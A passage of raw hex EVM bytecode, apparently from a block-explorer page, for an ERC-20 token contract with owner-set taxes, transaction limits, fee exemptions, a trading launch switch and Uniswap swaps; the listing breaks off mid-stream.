00482015260126024820152710a4deeadcc8e8e4d2e040e8dede40d0d2ced60731b60448201526064016106e7565b6002805460ff84811661ffff199092168217610100918516918202179092556040517fe19d31e83488276725ead0f7b3d678e3564637792a6c3b4b377c6ddbc2fb32f9905f90a35050565b5f546001600160a01b03163314610ada5760405162461bcd60e51b81526004016106e7906127fd565b8080610ae35750815b15610b43576001600160a01b0383165f9081526012602052604090205460ff1615610b435760405162461bcd60e51b815260206004820152601060248201526f043616e6e6f74206578656d7074204c560841b60448201526064016106e7565b6001600160a01b039092165f908152600d60209081526040808320805494151560ff19958616179055600e9091529020805492151592909116919091179055565b5f546001600160a01b03163314610bad5760405162461bcd60e51b81526004016106e7906127fd565b5f80546001600160a01b0319168155604080513380825260208201939093527f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0910160405180910390a150565b5f546001600160a01b03163314610c235760405162461bcd60e51b81526004016106e7906127fd565b610c2f6009600a61279b565b610c3d90633b9aca006127a9565b600455610c4c6009600a61279b565b610c5a90633b9aca006127a9565b600555565b5f546001600160a01b03163314610c885760405162461bcd60e51b81526004016106e7906127fd565b61271063ffffffff8416610c9e6009600a61279b565b610cac90633b9aca006127a9565b610cb691906127a9565b610cc09190612834565b60065561271063ffffffff8316610cd96009600a61279b565b610ce790633b9aca006127a9565b610cf191906127a9565b610cfb9190612834565b600781905560098290556006541115610d465760405162461bcd60e51b815260206004820152600d60248201526c26b4b717a6b0bc1032b93937b960991b60448201526064016106e7565b620186a0610d566009600a61279b565b610d6490633b9aca006127a9565b610d6e9190612834565b60075411610dac5760405162461bcd60e51b815260206004820152600b60248201526a4d617820746f6f206c6f7760a81b60448201526064016106e7565b600a610db960098261279b565b610dc790633b9aca006127a9565b610dd19190612834565b60075410610e105760405162461bcd60e51b815260206004820152600c60248201526b09ac2f040e8dede40d0d2ced60a31b60448201526064016106e7565b505050565b5f546001600160a01b03163314610e3e5760405162461bcd60e51b81526004016106e7906127fd565b6013805461ff0019166101001790556011546001600160a01b031615610e925760405162461bcd60e51b81526020600482015260096024820152684c502065786973747360b81b60448201526064016106e7565b60135460ff1615610ed75760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b60448201526064016106e7565b5f341180610ee457505f47115b610f305760405162461bcd60e51b815260206004820152601d60248201527f4e6f2045544820696e20636f6e7472616374206f72206d65737361676500000060448201526064016106e7565b305f908152600b6020526040902054610f835760405162461bcd60e51b8152602060048201526015602482015274139bc81d1bdad95b9cc81a5b8818dbdb9d1c9858dd605a1b60448201526064016106e7565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ff7919061287f565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611056573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061107a919061287f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156110c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110e8919061287f565b601180546001600160a01b0319166001600160a01b0392909216919091179055305f908152600b602052604081205461112a91671bc16d674ec8000090611dbf565b6008546011546001600160a01b03165f908152600b6020526040812080549091906111569084906127ea565b909155505060115460408051600481526024810182526020810180516001600160e01b031660016209351760e01b031917905290515f926001600160a01b0316916111a09161289a565b5f604051808303815f865af19150503d805f81146111d9576040519150601f19603f3d011682016040523d82523d5f602084013e6111de565b606091505b505090508061122f5760405162461bcd60e51b815260206004820152601760248201527f4661696c656420616464696e67206c697175696469747900000000000000000060448201526064016106e7565b6011546001600160a01b03165f908152601260205260409020805460ff1916821515179055610899601484846122d8565b5f61126a336117a5565b6112865760405162461bcd60e51b81526004016106e7906127c0565b611291338484611808565b9392505050565b8281146112e75760405162461bcd60e51b815260206004820152601860248201527f41727261792073697a657320696e636f6d70617469626c65000000000000000060448201526064016106e7565b6013546201000090046001600160a01b0316331461133e5760405162461bcd60e51b81526020600482015260146024820152731058d8d95cdcc81a5cc81c995cdd1c9a58dd195960621b60448201526064016106e7565b5f5b818110156113d5576113c23386868481811061135e5761135e6128b5565b90506020020160208101906113739190612526565b6127106113826009600a61279b565b61139090633b9aca006127a9565b8787878181106113a2576113a26128b5565b905060200201356113b391906127a9565b6113bd9190612834565b611808565b50806113cd816128c9565b915050611340565b5050505050565b5f546001600160a01b031633146114055760405162461bcd60e51b81526004016106e7906127fd565b60135460ff161561144a5760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b60448201526064016106e7565b60646114586009600a61279b565b61146690633b9aca006127a9565b6114719060036127a9565b61147b9190612834565b611486906001612853565b60055414611492575f80fd5b6013805460ff191660019081179091554360038190555f549154600160b81b830460ff90811693600160b01b900416916114cb91612853565b6114d59190612853565b6114df9190612853565b6001556040517fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f905f90a1565b5f546001600160a01b031633146115355760405162461bcd60e51b81526004016106e7906127fd565b6001600160a01b0382165f9081526012602052604090205460ff1615801561157557506001600160a01b0381165f9081526012602052604090205460ff16155b6115c15760405162461bcd60e51b815260206004820152601760248201527f4c502063616e6e6f74206265207461782077616c6c657400000000000000000060448201526064016106e7565b601080546001600160a01b039384166001600160a01b03199182168117909255600f8054939094169216919091179091555f908152600d60209081526040808320805460ff199081166001908117909255600e909352922080549091169091179055565b5f546001600160a01b0316331461164e5760405162461bcd60e51b81526004016106e7906127fd565b5f80546001600160a01b0319166001600160a01b038316908117909155604080513380825260208201939093527f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0910160405180910390a15050565b5f546001600160a01b031633146116d35760405162461bcd60e51b81526004016106e7906127fd565b5f6116de82846128e1565b90505f8161ffff16116117255760405162461bcd60e51b815260206004820152600f60248201526e0416c6c2063616e6e6f74206265203608c1b60448201526064016106e7565b6002805461ffff838116600160301b0267ffff0000000000001986831662010000810263ffff000019948a1664010000000081029590951665ffffffff000019909616959095179490941716179092556040519091907fa64acb81f7c509a0769bd28477680f1d8bd3408d1b2251db9fce52b34fa839cb905f90a3505050565b6013545f90819060ff16156117bc5750600161069b565b6001600160a01b0383165f908152600d602052604090205460ff1680156117fa57506001600160a01b0383165f908152600e602052604090205460ff165b1561069b5750600192915050565b5f6001600160a01b03841661185f5760405162461bcd60e51b815260206004820152601d60248201527f4e6f207472616e73666572732066726f6d205a65726f2077616c6c657400000060448201526064016106e7565b60135460ff166118c3576001600160a01b0384165f908152600d602052604090205460ff1680156118a757506001600160a01b0384165f908152600e602052604090205460ff165b6118c35760405162461bcd60e51b81526004016106e7906127c0565b601354610100900460ff161580156118f257506001600160a01b0383165f9081526012602052604090205460ff165b80156118ff575060065482115b801561191f5750600954600a8054905f611918836128c9565b9190505510155b1561192c5761192c611e84565b6001544310801561193f57506003544310155b801561196257506001600160a01b0384165f9081526012602052604090205460ff165b156119c257326001600160a01b03841614806119885750600f546001600160a01b031632145b6119c25760405162461bcd60e51b815260206004820152600b60248201526a13515588189b1bd8dad95960aa1b60448201526064016106e7565b6001600160a01b03841630148015906119e457506001600160a01b0383163014155b80156119fd57505f546001600160a01b03858116911614155b15611a4d57611a0d848484611ff4565b611a4d5760405162461bcd60e51b815260206004820152601160248201527054582065786365656473206c696d69747360781b60448201526064016106e7565b5f611a598585856120b7565b90505f611a6682856127ea565b6001600160a01b0387165f908152600b6020526040902054909150611a8c9085906127ea565b6001600160a01b0387165f908152600b602052604081209190915560088054849290611ab9908490612853565b90915550506001600160a01b0385165f908152600b6020526040902054611ae1908290612853565b6001600160a01b038087165f818152600b602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611b349088815260200190565b60405180910390a350600195945050505050565b611b5181612236565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611b8457611b846128b5565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611bf4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611c18919061287f565b81600181518110611c2b57611c2b6128b5565b6001600160a01b039283166020918202929092010152601054604051635c11d79560e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d92635c11d79592611c849287925f9288929116904290600401612903565b5f604051808303815f87803b158015611c9b575f80fd5b505af1158015611cad573d5f803e3d5ffd5b505050505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663d0e30db0826040518263ffffffff1660e01b81526004015f604051808303818588803b158015611d0e575f80fd5b505af1158015611d20573d5f803e3d5ffd5b505060105460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018690527f0000000000000000000000000000000000000000000000000000000000000000909116935063a9059cbb925060440190506020604051808303815f875af1158015611d97573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611dbb9190612972565b5050565b600f546001600160a01b03168115611dd457505f5b611ddd84612236565b60405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b03821660848201524260a4820152737a250d5630b4cf539739df2c5dacb4c659f2488d9063f305d71990859060c40160606040518083038185885af1158015611e56573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611e7b919061298d565b50505050505050565b6013805461ff0019166101001790556008546006548110801590611eaa575060135460ff165b15611fe2576007548110611ebd57506007545b600280545f919061ffff600160301b8204811691611ee59164010000000090910416856127a9565b611eef9190612834565b611ef99190612834565b90505f611f0682846127ea565b9050611f146009600a61279b565b811115611fce57305f908152600b6020526040812080544792869291611f3b908490612853565b90915550611f4a905082611b48565b8360085f828254611f5b91906127ea565b909155505f9050611f6c82476127ea565b600254909150640100000000900461ffff1615611fcb576002545f9061ffff600160301b8204811691611fa99164010000000090910416846127a9565b611fb39190612834565b9050611fbe85612236565b611fc985825f611dbf565b505b50505b478015611fde57611fde81611cb5565b5050505b505f600a556013805461ff0019169055565b6013545f9060019060ff16801561202357506001600160a01b0385165f908152600e602052604090205460ff16155b801561204757506001600160a01b0384165f908152600e602052604090205460ff16155b156107775760045483111561205d57505f610777565b6001600160a01b0384165f9081526012602052604090205460ff161580156120a857506005546001600160a01b0385165f908152600b60205260409020546120a6908590612853565b115b1561077757505f949350505050565b6013545f90819060ff1615806120e457506001600160a01b0385165f908152600d602052604090205460ff165b8061210657506001600160a01b0384165f908152600d602052604090205460ff165b1561211257505f610777565b6001600160a01b0385165f9081526012602052604090205460ff16156121eb575f5460035460ff600160b81b830481169261215892600160b01b90910490911690612853565b6121629190612853565b431061218c5760025460649061217b9060ff16856127a9565b6121859190612834565b9050610777565b5f546003546121a591600160b01b900460ff1690612853565b43106121c4575f5460649061217b90600160a81b900460ff16856127a9565b60035443106121e6575f5460649061217b90600160a01b900460ff16856127a9565b610777565b6001600160a01b0384165f9081526012602052604090205460ff16156107775760025460649061222390610100900460ff16856127a9565b61222d9190612834565b95945050505050565b305f908152600c60209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d84529091529020548111156122d557305f818152600c60209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d808552908352928190205f199081905590519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35b50565b828054828255905f5260205f20908101928215612329579160200282015b828111156123295781546001600160a01b0319166001600160a01b038435161782556020909201916001909101906122f6565b50612335929150612339565b5090565b5b80821115612335575f815560010161233a565b5f5b8381101561236757818101518382015260200161234f565b50505f910152565b602081525f825180602084015261238d81604085016020870161234d565b601f01601f19169190910160400192915050565b6001600160a01b03811681146122d5575f80fd5b5f80604083850312156123c6575f80fd5b82356123d1816123a1565b946020939093013593505050565b5f805f606084860312156123f1575f80fd5b83356123fc816123a1565b9250602084013561240c816123a1565b929592945050506040919091013590565b803560ff8116811461242d575f80fd5b919050565b80151581146122d5575f80fd5b5f8060408385031215612450575f80fd5b6124598361241d565b9150602083013561246981612432565b809150509250929050565b803561ffff8116811461242d575f80fd5b5f8060408385031215612496575f80fd5b61249f83612474565b91506124ad60208401612474565b90509250929050565b5f80604083850312156124c7575f80fd5b6124d08361241d565b91506124ad6020840161241d565b5f805f606084860312156124f0575f80fd5b83356124fb816123a1565b9250602084013561250b81612432565b9150604084013561251b81612432565b809150509250925092565b5f60208284031215612536575f80fd5b8135611291816123a1565b803563ffffffff8116811461242d575f80fd5b5f805f60608486031215612566575f80fd5b61256f84612541565b925061257d60208501612541565b9150604084013590509250925092565b5f8083601f84011261259d575f80fd5b50813567ffffffffffffffff8111156125b4575f80fd5b6020830191508360208260051b85010111156125ce575f80fd5b9250929050565b5f80602083850312156125e6575f80fd5b823567ffffffffffffffff8111156125fc575f80fd5b6126088582860161258d565b90969095509350505050565b5f805f8060408587031215612627575f80fd5b843567ffffffffffffffff8082111561263e575f80fd5b61264a8883890161258d565b90965094506020870135915080821115612662575f80fd5b5061266f8782880161258d565b95989497509550505050565b5f806040838503121561268c575f80fd5b8235612697816123a1565b91506020830135612469816123a1565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156126f557815f19048211156126db576126db6126a7565b808516156126e857918102915b93841c93908002906126c0565b509250929050565b5f8261270b5750600161069b565b8161271757505f61069b565b816001811461272d576002811461273757612753565b600191505061069b565b60ff841115612748576127486126a7565b50506001821b61069b565b5060208310610133831016604e8410600b8410161715612776575081810a61069b565b61278083836126bb565b805f1904821115612793576127936126a7565b029392505050565b5f61129160ff8416836126fd565b808202811582820484141761069b5761069b6126a7565b60208082526010908201526f2a3930b234b733903737ba1037b832b760811b604082015260600190565b8181038181111561069b5761069b6126a7565b60208082526018908201527f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b5f8261284e57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561069b5761069b6126a7565b60ff818116838216019081111561069b5761069b6126a7565b5f6020828403121561288f575f80fd5b8151611291816123a1565b5f82516128ab81846020870161234d565b9190910192915050565b634e487b7160e01b5f52603260045260245ffd5b5f600182016128da576128da6126a7565b5060010190565b61ffff8181168382160190808211156128fc576128fc6126a7565b5092915050565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156129515784516001600160a01b03168352938301939183019160010161292c565b50506001600160a01b03969096166060850152505050608001529392505050565b5f60208284031215612982575f80fd5b815161129181612432565b5f805f6060848603121561299f575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220987fdc6dd59270bd2ee727a7e030e7a58ae780b7bfcbfb5702f594a957e52e4a64736f6c6343000814003300000000000000000000000071fbbbd20c9a93f866111ad03e1c01f31b0b332c0000000000000000000000005c64bcfaa77b1a4e55ee38431a8d160f19e0329a

Deployed Bytecode

0x6080604052600436106101de575f3560e01c8063715018a6116100fd578063c3f70b5211610092578063e8ba854f11610062578063e8ba854f146105c4578063f2fde38b146105e3578063f897840114610602578063f8b45b0514610621575f80fd5b8063c3f70b5214610539578063c633bda61461054d578063c9567bf91461056c578063dd62ed3e14610580575f80fd5b80638da5cb5b116100cd5780638da5cb5b146104b557806395d89b41146104db578063a0f2c96414610507578063a9059cbb1461051a575f80fd5b8063715018a614610437578063751039fc1461044b57806380b213511461045f5780638d3e6e401461047e575f80fd5b806346b898341161017357806357ff135a1161014357806357ff135a146103765780635a90a49e146103955780636373ea69146103cc57806370a0823114610403575f80fd5b806346b8983414610318578063470624021461032c5780634d4ce935146103435780634fcd244614610357575f80fd5b80632b14ca56116101ae5780632b14ca561461029b5780632fb528ba146102c5578063313ce567146102e6578063368f4800146102f9575f80fd5b806306fdde03146101e9578063095ea7b31461022b57806318160ddd1461025a57806323b872dd1461027c575f80fd5b366101e557005b5f80fd5b3480156101f4575f80fd5b506040805180820190915260088152672827a827a1a7a4a760c11b60208201525b604051610222919061236f565b60405180910390f35b348015610236575f80fd5b5061024a6102453660046123b5565b610635565b6040519015158152602001610222565b348015610265575f80fd5b5061026e6106a1565b604051908152602001610222565b348015610287575f80fd5b5061024a6102963660046123df565b6106c1565b3480156102a6575f80fd5b50600254610100900460ff165b60405160ff9091168152602001610222565b3480156102d0575f80fd5b506102e46102df36600461243f565b61077f565b005b3480156102f1575f80fd5b5060096102b3565b348015610304575f80fd5b506102e4610313366004612485565b6108ab565b348015610323575f80fd5b5060065461026e565b348015610337575f80fd5b5060025460ff166102b3565b34801561034e575f80fd5b5060075461026e565b348015610362575f80fd5b506102e46103713660046124b6565b6109eb565b348015610381575f80fd5b506102e46103903660046124de565b610ab1565b3480156103a0575f80fd5b5061024a6103af366004612526565b6001600160a01b03165f908152600d602052604090205460ff1690565b3480156103d7575f80fd5b506002546040805161ffff62010000840481168252640100000000909304909216602083015201610222565b34801561040e575f80fd5b5061026e61041d366004612526565b6001600160a01b03165f908152600b602052604090205490565b348015610442575f80fd5b506102e4610b84565b348015610456575f80fd5b506102e4610bfa565b34801561046a575f80fd5b506102e4610479366004612554565b610c5f565b348015610489575f80fd5b5061024a610498366004612526565b6001600160a01b03165f908152600e602052604090205460ff1690565b3480156104c0575f80fd5b505f546040516001600160a01b039091168152602001610222565b3480156104e6575f80fd5b50604080518082019091526004815263504f504f60e01b6020820152610215565b6102e46105153660046125d5565b610e15565b348015610525575f80fd5b5061024a6105343660046123b5565b611260565b348015610544575f80fd5b5060045461026e565b348015610558575f80fd5b506102e4610567366004612614565b611298565b348015610577575f80fd5b506102e46113dc565b34801561058b575f80fd5b5061026e61059a36600461267b565b6001600160a01b039182165f908152600c6020908152604080832093909416825291909152205490565b3480156105cf575f80fd5b506102e46105de36600461267b565b61150c565b3480156105ee575f80fd5b506102e46105fd366004612526565b611625565b34801561060d575f80fd5b506102e461061c366004612485565b6116aa565b34801561062c575f80fd5b5060055461026e565b335f818152600c602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061068f9086815260200190565b60405180910390a35060015b92915050565b5f6106ae6009600a61279b565b6106bc90633b9aca006127a9565b905090565b5f6106cb846117a5565b6106f05760405162461bcd60e51b81526004016106e7906127c0565b60405180910390fd5b6001600160a01b0384165f908152600c602090815260408083203384529091529020545f191461076c576001600160a01b0384165f908152600c602090815260408083203384529091529020546107489083906127ea565b6001600160a01b0385165f908152600c602090815260408083203384529091529020555b610777848484611808565b949350505050565b5f546001600160a01b031633146107a85760405162461bcd60e51b81526004016106e7906127fd565b6013805461ff001916610100179055606460ff8316111561080b5760405162461bcd60e51b815260206004820152601a60248201527f43616e6e6f742073776170206d6f7265207468616e203130302500000000000060448201526064016106e7565b305f908152600b602052604081205460649061082b9060ff8616906127a9565b6108359190612834565b90506108436009600a61279b565b8111156108535761085381611b48565b811561089b5747806108905760405162461bcd60e51b815260206004820152600660248201526509cde408aa8960d31b60448201526064016106e7565b61089947611cb5565b505b50506013805461ff001916905550565b5f546001600160a01b031633146108d45760405162461bcd60e51b81526004016106e7906127fd565b5f6103e861ffff84166108e96009600a61279b565b6108f790633b9aca006127a9565b61090191906127a9565b61090b9190612834565b610916906001612853565b90506004548110156109575760405162461bcd60e51b815260206004820152600a602482015269747820746f6f206c6f7760b01b60448201526064016106e7565b60048190555f6103e861ffff84166109716009600a61279b565b61097f90633b9aca006127a9565b61098991906127a9565b6109939190612834565b61099e906001612853565b90506005548110156109e35760405162461bcd60e51b815260206004820152600e60248201526d77616c6c657420746f6f206c6f7760901b60448201526064016106e7565b600555505050565b5f546001600160a01b03163314610a145760405162461bcd60e51b81526004016106e7906127fd565b600f610a208284612866565b60ff161115610a665760405162461bcd60e51b81526020600482015260126024820152710a4deeadcc8e8e4d2e040e8dede40d0d2ced60731b60448201526064016106e7565b6002805460ff84811661ffff199092168217610100918516918202179092556040517fe19d31e83488276725ead0f7b3d678e3564637792a6c3b4b377c6ddbc2fb32f9905f90a35050565b5f546001600160a01b03163314610ada5760405162461bcd60e51b81526004016106e7906127fd565b8080610ae35750815b15610b43576001600160a01b0383165f9081526012602052604090205460ff1615610b435760405162461bcd60e51b815260206004820152601060248201526f043616e6e6f74206578656d7074204c560841b60448201526064016106e7565b6001600160a01b039092165f908152600d60209081526040808320805494151560ff19958616179055600e9091529020805492151592909116919091179055565b5f546001600160a01b03163314610bad5760405162461bcd60e51b81526004016106e7906127fd565b5f80546001600160a01b0319168155604080513380825260208201939093527f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0910160405180910390a150565b5f546001600160a01b03163314610c235760405162461bcd60e51b81526004016106e7906127fd565b610c2f6009600a61279b565b610c3d90633b9aca006127a9565b600455610c4c6009600a61279b565b610c5a90633b9aca006127a9565b600555565b5f546001600160a01b03163314610c885760405162461bcd60e51b81526004016106e7906127fd565b61271063ffffffff8416610c9e6009600a61279b565b610cac90633b9aca006127a9565b610cb691906127a9565b610cc09190612834565b60065561271063ffffffff8316610cd96009600a61279b565b610ce790633b9aca006127a9565b610cf191906127a9565b610cfb9190612834565b600781905560098290556006541115610d465760405162461bcd60e51b815260206004820152600d60248201526c26b4b717a6b0bc1032b93937b960991b60448201526064016106e7565b620186a0610d566009600a61279b565b610d6490633b9aca006127a9565b610d6e9190612834565b60075411610dac5760405162461bcd60e51b815260206004820152600b60248201526a4d617820746f6f206c6f7760a81b60448201526064016106e7565b600a610db960098261279b565b610dc790633b9aca006127a9565b610dd19190612834565b60075410610e105760405162461bcd60e51b815260206004820152600c60248201526b09ac2f040e8dede40d0d2ced60a31b60448201526064016106e7565b505050565b5f546001600160a01b03163314610e3e5760405162461bcd60e51b81526004016106e7906127fd565b6013805461ff0019166101001790556011546001600160a01b031615610e925760405162461bcd60e51b81526020600482015260096024820152684c502065786973747360b81b60448201526064016106e7565b60135460ff1615610ed75760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b60448201526064016106e7565b5f341180610ee457505f47115b610f305760405162461bcd60e51b815260206004820152601d60248201527f4e6f2045544820696e20636f6e7472616374206f72206d65737361676500000060448201526064016106e7565b305f908152600b6020526040902054610f835760405162461bcd60e51b8152602060048201526015602482015274139bc81d1bdad95b9cc81a5b8818dbdb9d1c9858dd605a1b60448201526064016106e7565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ff7919061287f565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611056573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061107a919061287f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156110c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110e8919061287f565b601180546001600160a01b0319166001600160a01b0392909216919091179055305f908152600b602052604081205461112a91671bc16d674ec8000090611dbf565b6008546011546001600160a01b03165f908152600b6020526040812080549091906111569084906127ea565b909155505060115460408051600481526024810182526020810180516001600160e01b031660016209351760e01b031917905290515f926001600160a01b0316916111a09161289a565b5f604051808303815f865af19150503d805f81146111d9576040519150601f19603f3d011682016040523d82523d5f602084013e6111de565b606091505b505090508061122f5760405162461bcd60e51b815260206004820152601760248201527f4661696c656420616464696e67206c697175696469747900000000000000000060448201526064016106e7565b6011546001600160a01b03165f908152601260205260409020805460ff1916821515179055610899601484846122d8565b5f61126a336117a5565b6112865760405162461bcd60e51b81526004016106e7906127c0565b611291338484611808565b9392505050565b8281146112e75760405162461bcd60e51b815260206004820152601860248201527f41727261792073697a657320696e636f6d70617469626c65000000000000000060448201526064016106e7565b6013546201000090046001600160a01b0316331461133e5760405162461bcd60e51b81526020600482015260146024820152731058d8d95cdcc81a5cc81c995cdd1c9a58dd195960621b60448201526064016106e7565b5f5b818110156113d5576113c23386868481811061135e5761135e6128b5565b90506020020160208101906113739190612526565b6127106113826009600a61279b565b61139090633b9aca006127a9565b8787878181106113a2576113a26128b5565b905060200201356113b391906127a9565b6113bd9190612834565b611808565b50806113cd816128c9565b915050611340565b5050505050565b5f546001600160a01b031633146114055760405162461bcd60e51b81526004016106e7906127fd565b60135460ff161561144a5760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b60448201526064016106e7565b60646114586009600a61279b565b61146690633b9aca006127a9565b6114719060036127a9565b61147b9190612834565b611486906001612853565b60055414611492575f80fd5b6013805460ff191660019081179091554360038190555f549154600160b81b830460ff90811693600160b01b900416916114cb91612853565b6114d59190612853565b6114df9190612853565b6001556040517fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f905f90a1565b5f546001600160a01b031633146115355760405162461bcd60e51b81526004016106e7906127fd565b6001600160a01b0382165f9081526012602052604090205460ff1615801561157557506001600160a01b0381165f9081526012602052604090205460ff16155b6115c15760405162461bcd60e51b815260206004820152601760248201527f4c502063616e6e6f74206265207461782077616c6c657400000000000000000060448201526064016106e7565b601080546001600160a01b039384166001600160a01b03199182168117909255600f8054939094169216919091179091555f908152600d60209081526040808320805460ff199081166001908117909255600e909352922080549091169091179055565b5f546001600160a01b0316331461164e5760405162461bcd60e51b81526004016106e7906127fd565b5f80546001600160a01b0319166001600160a01b038316908117909155604080513380825260208201939093527f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0910160405180910390a15050565b5f546001600160a01b031633146116d35760405162461bcd60e51b81526004016106e7906127fd565b5f6116de82846128e1565b90505f8161ffff16116117255760405162461bcd60e51b815260206004820152600f60248201526e0416c6c2063616e6e6f74206265203608c1b60448201526064016106e7565b6002805461ffff838116600160301b0267ffff0000000000001986831662010000810263ffff000019948a1664010000000081029590951665ffffffff000019909616959095179490941716179092556040519091907fa64acb81f7c509a0769bd28477680f1d8bd3408d1b2251db9fce52b34fa839cb905f90a3505050565b6013545f90819060ff16156117bc5750600161069b565b6001600160a01b0383165f908152600d602052604090205460ff1680156117fa57506001600160a01b0383165f908152600e602052604090205460ff165b1561069b5750600192915050565b5f6001600160a01b03841661185f5760405162461bcd60e51b815260206004820152601d60248201527f4e6f207472616e73666572732066726f6d205a65726f2077616c6c657400000060448201526064016106e7565b60135460ff166118c3576001600160a01b0384165f908152600d602052604090205460ff1680156118a757506001600160a01b0384165f908152600e602052604090205460ff165b6118c35760405162461bcd60e51b81526004016106e7906127c0565b601354610100900460ff161580156118f257506001600160a01b0383165f9081526012602052604090205460ff165b80156118ff575060065482115b801561191f5750600954600a8054905f611918836128c9565b9190505510155b1561192c5761192c611e84565b6001544310801561193f57506003544310155b801561196257506001600160a01b0384165f9081526012602052604090205460ff165b156119c257326001600160a01b03841614806119885750600f546001600160a01b031632145b6119c25760405162461bcd60e51b815260206004820152600b60248201526a13515588189b1bd8dad95960aa1b60448201526064016106e7565b6001600160a01b03841630148015906119e457506001600160a01b0383163014155b80156119fd57505f546001600160a01b03858116911614155b15611a4d57611a0d848484611ff4565b611a4d5760405162461bcd60e51b815260206004820152601160248201527054582065786365656473206c696d69747360781b60448201526064016106e7565b5f611a598585856120b7565b90505f611a6682856127ea565b6001600160a01b0387165f908152600b6020526040902054909150611a8c9085906127ea565b6001600160a01b0387165f908152600b602052604081209190915560088054849290611ab9908490612853565b90915550506001600160a01b0385165f908152600b6020526040902054611ae1908290612853565b6001600160a01b038087165f818152600b602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611b349088815260200190565b60405180910390a350600195945050505050565b611b5181612236565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611b8457611b846128b5565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611bf4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611c18919061287f565b81600181518110611c2b57611c2b6128b5565b6001600160a01b039283166020918202929092010152601054604051635c11d79560e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d92635c11d79592611c849287925f9288929116904290600401612903565b5f604051808303815f87803b158015611c9b575f80fd5b505af1158015611cad573d5f803e3d5ffd5b505050505050565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0826040518263ffffffff1660e01b81526004015f604051808303818588803b158015611d0e575f80fd5b505af1158015611d20573d5f803e3d5ffd5b505060105460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018690527f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2909116935063a9059cbb925060440190506020604051808303815f875af1158015611d97573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611dbb9190612972565b5050565b600f546001600160a01b03168115611dd457505f5b611ddd84612236565b60405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b03821660848201524260a4820152737a250d5630b4cf539739df2c5dacb4c659f2488d9063f305d71990859060c40160606040518083038185885af1158015611e56573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611e7b919061298d565b50505050505050565b6013805461ff0019166101001790556008546006548110801590611eaa575060135460ff165b15611fe2576007548110611ebd57506007545b600280545f919061ffff600160301b8204811691611ee59164010000000090910416856127a9565b611eef9190612834565b611ef99190612834565b90505f611f0682846127ea565b9050611f146009600a61279b565b811115611fce57305f908152600b6020526040812080544792869291611f3b908490612853565b90915550611f4a905082611b48565b8360085f828254611f5b91906127ea565b909155505f9050611f6c82476127ea565b6002549091506401000000